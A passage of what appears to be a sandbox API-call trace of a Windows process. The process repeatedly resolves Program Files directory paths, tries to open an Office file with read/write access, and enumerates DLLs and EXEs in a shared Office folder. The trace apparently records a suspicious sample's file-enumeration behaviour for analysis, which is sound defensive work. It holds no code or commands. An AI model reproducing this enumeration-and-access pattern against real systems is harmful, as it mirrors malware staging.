(hFile=0x118) returned 0x1 [0164.148] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0164.148] CloseHandle (hObject=0x118) returned 1 [0164.148] GetFileType (hFile=0x114) returned 0x1 [0164.148] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.149] CloseHandle (hObject=0x114) returned 1 [0164.149] GetFileType (hFile=0x118) returned 0x1 [0164.149] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0164.149] CloseHandle (hObject=0x118) returned 1 [0164.149] GetFileType (hFile=0x114) returned 0x1 [0164.149] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.150] CloseHandle (hObject=0x114) returned 1 [0164.150] GetFileType (hFile=0x118) returned 0x1 [0164.150] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0164.150] CloseHandle (hObject=0x118) returned 1 [0164.151] GetFileType (hFile=0x114) returned 0x1 [0164.151] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.151] CloseHandle (hObject=0x114) returned 1 [0164.151] GetFileType (hFile=0x118) returned 0x1 [0164.151] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0164.152] CloseHandle (hObject=0x118) returned 1 [0164.152] GetFileType (hFile=0x114) returned 0x1 [0164.152] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.152] CloseHandle (hObject=0x114) returned 1 [0164.152] GetFileType (hFile=0x118) returned 0x1 [0164.152] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0164.153] CloseHandle (hObject=0x118) returned 1 [0164.153] GetFileType (hFile=0x114) returned 0x1 [0164.153] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.153] CloseHandle (hObject=0x114) returned 1 [0164.154] GetFileType (hFile=0x118) returned 0x1 [0164.154] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0164.154] CloseHandle (hObject=0x118) returned 1 [0164.154] GetFileType (hFile=0x114) returned 0x1 [0164.154] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.155] CloseHandle (hObject=0x114) returned 1 [0164.155] GetFileType (hFile=0x118) returned 0x1 [0164.155] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0164.155] CloseHandle (hObject=0x118) returned 1 [0164.155] GetFileType (hFile=0x114) returned 0x1 [0164.155] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.156] CloseHandle (hObject=0x114) returned 1 [0164.156] GetFileType (hFile=0x118) returned 0x1 [0164.156] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0164.157] CloseHandle (hObject=0x118) returned 1 [0164.157] GetFileType (hFile=0x114) returned 0x1 [0164.157] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.157] CloseHandle (hObject=0x114) returned 1 [0164.157] GetFileType (hFile=0x118) returned 0x1 [0164.157] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0164.158] CloseHandle (hObject=0x118) returned 1 [0164.158] GetFileType (hFile=0x114) returned 0x1 [0164.158] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.158] CloseHandle (hObject=0x114) returned 1 [0164.159] GetFileType (hFile=0x118) returned 0x1 [0164.159] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0164.159] CloseHandle (hObject=0x118) returned 1 [0164.159] GetFileType (hFile=0x114) returned 0x1 [0164.159] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.160] CloseHandle (hObject=0x114) returned 1 [0164.160] GetFileType (hFile=0x118) returned 0x1 [0164.160] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0164.160] CloseHandle (hObject=0x118) returned 1 [0164.160] GetFileType (hFile=0x114) returned 0x1 [0164.160] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.161] CloseHandle (hObject=0x114) returned 1 [0164.161] GetFileType (hFile=0x118) returned 0x1 [0164.161] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0164.162] CloseHandle (hObject=0x118) returned 1 [0164.162] GetFileType (hFile=0x114) returned 0x1 [0164.163] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.163] CloseHandle (hObject=0x114) returned 1 [0164.163] GetFileType (hFile=0x118) returned 0x1 [0164.163] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0164.163] CloseHandle (hObject=0x118) returned 1 [0164.164] GetFileType (hFile=0x114) returned 0x1 [0164.164] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.164] CloseHandle (hObject=0x114) returned 1 [0164.164] GetFileType (hFile=0x118) returned 0x1 [0164.164] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0164.165] CloseHandle (hObject=0x118) returned 1 [0164.165] GetFileType (hFile=0x114) returned 0x1 [0164.165] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.165] CloseHandle (hObject=0x114) returned 1 [0164.165] GetFileType (hFile=0x118) returned 0x1 [0164.166] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Google") returned 0x21 [0164.166] CloseHandle (hObject=0x118) returned 1 [0164.166] GetFileType (hFile=0x114) returned 0x1 [0164.166] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.167] CloseHandle (hObject=0x114) returned 1 [0164.167] GetFileType (hFile=0x118) returned 0x1 [0164.167] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0164.167] CloseHandle (hObject=0x118) returned 1 [0164.167] GetFileType (hFile=0x114) returned 0x1 [0164.167] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.168] CloseHandle (hObject=0x114) returned 1 [0164.168] GetFileType (hFile=0x118) returned 0x1 [0164.168] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0164.168] CloseHandle (hObject=0x118) returned 1 [0164.168] GetFileType (hFile=0x114) returned 0x1 [0164.168] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.169] CloseHandle (hObject=0x114) returned 1 [0164.169] GetFileType (hFile=0x118) returned 0x1 [0164.169] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Java") returned 0x1f [0164.170] CloseHandle (hObject=0x118) returned 1 [0164.170] GetFileType (hFile=0x114) returned 0x1 [0164.170] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.170] CloseHandle (hObject=0x114) returned 1 [0164.170] GetFileType (hFile=0x118) returned 0x1 [0164.170] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows NT") returned 0x1f [0164.171] CloseHandle (hObject=0x118) returned 1 [0164.171] GetFileType (hFile=0x114) returned 0x1 [0164.171] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.171] CloseHandle (hObject=0x114) returned 1 [0164.171] GetFileType (hFile=0x118) returned 0x1 [0164.171] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0164.172] CloseHandle (hObject=0x118) returned 1 [0164.172] GetFileType (hFile=0x114) returned 0x1 [0164.172] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.172] CloseHandle (hObject=0x114) returned 1 [0164.172] GetFileType (hFile=0x118) returned 0x1 [0164.173] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0164.173] CloseHandle (hObject=0x118) returned 1 [0164.173] GetFileType (hFile=0x114) returned 0x1 [0164.173] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.173] CloseHandle (hObject=0x114) returned 1 [0164.174] GetFileType (hFile=0x118) returned 0x1 [0164.174] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0164.174] CloseHandle (hObject=0x118) returned 1 [0164.174] GetFileType (hFile=0x114) returned 0x1 [0164.174] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.175] CloseHandle (hObject=0x114) returned 1 [0164.175] GetFileType (hFile=0x118) returned 0x1 [0164.175] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0164.175] CloseHandle (hObject=0x118) returned 1 [0164.175] GetFileType (hFile=0x114) returned 0x1 [0164.175] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.176] CloseHandle (hObject=0x114) returned 1 [0164.176] GetFileType (hFile=0x118) returned 0x1 [0164.176] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0164.176] CloseHandle (hObject=0x118) returned 1 [0164.176] GetFileType (hFile=0x114) returned 0x1 [0164.176] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.177] CloseHandle (hObject=0x114) returned 1 [0164.177] GetFileType (hFile=0x118) returned 0x1 [0164.177] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Defender") returned 0x25 [0164.182] CloseHandle (hObject=0x118) returned 1 [0164.182] GetFileType (hFile=0x114) returned 0x1 [0164.182] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.182] CloseHandle (hObject=0x114) returned 1 [0164.182] GetFileType (hFile=0x118) returned 0x1 [0164.183] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0164.183] CloseHandle (hObject=0x118) returned 1 [0164.183] GetFileType (hFile=0x114) returned 0x1 [0164.183] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.184] CloseHandle (hObject=0x114) returned 1 [0164.184] GetFileType (hFile=0x118) returned 0x1 [0164.184] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0164.184] CloseHandle (hObject=0x118) returned 1 [0164.184] GetFileType (hFile=0x114) returned 0x1 [0164.184] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.185] CloseHandle (hObject=0x114) returned 1 [0164.185] GetFileType (hFile=0x118) returned 0x1 [0164.185] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0164.186] CloseHandle (hObject=0x118) returned 1 [0164.186] GetFileType (hFile=0x114) returned 0x1 [0164.186] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.186] CloseHandle (hObject=0x114) returned 1 [0164.186] GetFileType (hFile=0x118) returned 0x1 [0164.186] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Google") returned 0x21 [0164.187] CloseHandle (hObject=0x118) returned 1 [0164.187] GetFileType (hFile=0x114) returned 0x1 [0164.187] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.188] CloseHandle (hObject=0x114) returned 1 [0164.188] GetFileType (hFile=0x118) returned 0x1 [0164.188] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0164.188] CloseHandle (hObject=0x118) returned 1 [0164.188] GetFileType (hFile=0x114) returned 0x1 [0164.188] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.189] CloseHandle (hObject=0x114) returned 1 [0164.189] GetFileType (hFile=0x118) returned 0x1 [0164.189] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0164.189] CloseHandle (hObject=0x118) returned 1 [0164.189] GetFileType (hFile=0x114) returned 0x1 [0164.189] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.190] CloseHandle (hObject=0x114) returned 1 [0164.190] GetFileType (hFile=0x118) returned 0x1 [0164.190] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0164.190] CloseHandle (hObject=0x118) returned 1 [0164.191] GetFileType (hFile=0x114) returned 0x1 [0164.191] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.191] CloseHandle (hObject=0x114) returned 1 [0164.191] GetFileType (hFile=0x118) returned 0x1 [0164.191] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0164.192] CloseHandle (hObject=0x118) returned 1 [0164.192] GetFileType (hFile=0x114) returned 0x1 [0164.192] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.192] CloseHandle (hObject=0x114) returned 1 [0164.193] GetFileType (hFile=0x118) returned 0x1 [0164.193] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Defender") returned 0x25 [0164.194] CloseHandle (hObject=0x118) returned 1 [0164.194] GetFileType (hFile=0x114) returned 0x1 [0164.194] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.194] CloseHandle (hObject=0x114) returned 1 [0164.194] GetFileType (hFile=0x118) returned 0x1 [0164.194] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0164.195] CloseHandle (hObject=0x118) returned 1 [0164.195] GetFileType (hFile=0x114) returned 0x1 [0164.195] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0164.196] CloseHandle (hObject=0x114) returned 1 [0164.196] GetFileType (hFile=0x118) returned 0x1 [0164.196] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.196] CloseHandle (hObject=0x118) returned 1 [0164.196] GetFileType (hFile=0x114) returned 0x1 [0164.196] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0164.197] CloseHandle (hObject=0x114) returned 1 [0164.197] GetFileType (hFile=0x118) returned 0x1 [0164.197] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0164.197] CloseHandle (hObject=0x118) returned 1 [0164.197] GetFileType (hFile=0x114) returned 0x1 [0164.198] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.198] CloseHandle (hObject=0x114) returned 1 [0164.198] GetFileType (hFile=0x118) returned 0x1 [0164.198] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0164.198] CloseHandle (hObject=0x118) returned 1 [0164.199] GetFileType (hFile=0x114) returned 0x1 [0164.199] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0164.199] CloseHandle (hObject=0x114) returned 1 [0164.199] GetFileType (hFile=0x118) returned 0x1 [0164.199] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0164.200] CloseHandle (hObject=0x118) returned 1 [0164.200] GetProcessHeap () returned 0x990000 [0164.200] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x29e0020 | out: hHeap=0x990000) returned 1 [0164.201] Sleep (dwMilliseconds=0xa) [0164.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.209] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0164.209] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0164.209] GetProcessHeap () returned 0x990000 [0164.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b50 | out: hHeap=0x990000) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, 